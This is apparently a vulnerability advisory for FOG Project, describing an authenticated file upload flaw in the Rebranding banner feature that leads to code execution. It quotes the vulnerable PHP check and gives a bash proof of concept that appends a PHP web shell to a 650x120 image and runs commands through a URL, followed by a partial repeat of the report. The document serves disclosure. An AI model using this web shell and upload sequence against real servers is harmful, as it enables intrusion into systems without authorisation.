Summary
An improperly restricted file upload feature allows authenticated users to execute arbitrary code on the fogproject server.
Details
The Rebranding feature has a check on the client banner image requiring it to be 650 pixels wide and 120 pixels high. Apart from that, there are no checks on things like file extensions. This can be abused by appending a PHP webshell to the end of the image and changing the extension to anything the PHP web server will parse.
|
case 'FOG_CLIENT_BANNER_IMAGE': |
|
$banner = filter_input(INPUT_POST, 'banner'); |
|
$set = $banner; |
|
if (!$banner) { |
|
self::setSetting('FOG_CLIENT_BANNER_SHA', ''); |
|
} |
|
if (!($_FILES[$key]['name'] |
|
&& file_exists($_FILES[$key]['tmp_name'])) |
|
) { |
|
continue 2; |
|
} |
|
$set = preg_replace( |
|
'/[^-\w\.]+/', |
|
'_', |
|
trim(basename($_FILES[$key]['name'])) |
|
); |
|
$src = sprintf( |
|
'%s/%s', |
|
dirname($_FILES[$key]['tmp_name']), |
|
basename($_FILES[$key]['tmp_name']) |
|
); |
|
list( |
|
$width, |
|
$height, |
|
$type, |
|
$attr |
|
) = getimagesize($src); |
|
if ($width != 650) { |
|
throw new Exception( |
|
_('Width must be 650 pixels.') |
|
); |
|
} |
|
if ($height != 120) { |
|
throw new Exception( |
|
_('Height must be 120 pixels.') |
|
); |
|
} |
PoC
In a bash terminal:
sudo apt install imagemagick-6.q16 # You can always use your own 650x120 image.
convert -size 650x120 xc:white shell.jpg
cp shell.jpg shell.php
echo -e "\n<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename(\$_SERVER['PHP_SELF']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n</form>\n<pre>\n<?php\n if(isset(\$_GET['cmd']))\n {\n system(\$_GET['cmd']);\n }\n?>\n</pre>\n</body>\n</html>" >> shell.php
To upload the file, go to the url below and scroll down to rebranding.
http://VICTIM-IP/fog/management/index.php?node=about&sub=settings
After you've uploaded the file, navigate to the following url to run commands on the fogproject server as the www-data user.
http://VICTIM-IP/fog/management/other/shell.php?cmd=whoami
Impact
Someone with authenticated level access to the fogserver web interface will be able to execute commands as the web server system account.
c3r3br4t3 Reporter
Summary
An improperly restricted file upload feature allows authenticated users to execute arbitrary code on the fogproject server.
Details
The Rebranding feature has a check on the client banner image requiring it to be 650 pixels wide and 120 pixels high. Apart from that, there are no checks on things like file extensions. This can be abused by appending a PHP webshell to the end of the image and changing the extension to anything the PHP web server will parse.
fogproject/packages/web/lib/pages/fogconfigurationpage.class.php
Lines 2860 to 2896 in a4bb1bf
PoC
In a bash terminal:
To upload the file, go to the url below and scroll down to rebranding.
http://VICTIM-IP/fog/management/index.php?node=about&sub=settingsAfter you've uploaded the file, navigate to the following url to run commands on the fogproject server as the www-data user.
http://VICTIM-IP/fog/management/other/shell.php?cmd=whoamiImpact
Someone with authenticated level access to the fogserver web interface will be able to execute commands as the web server system account.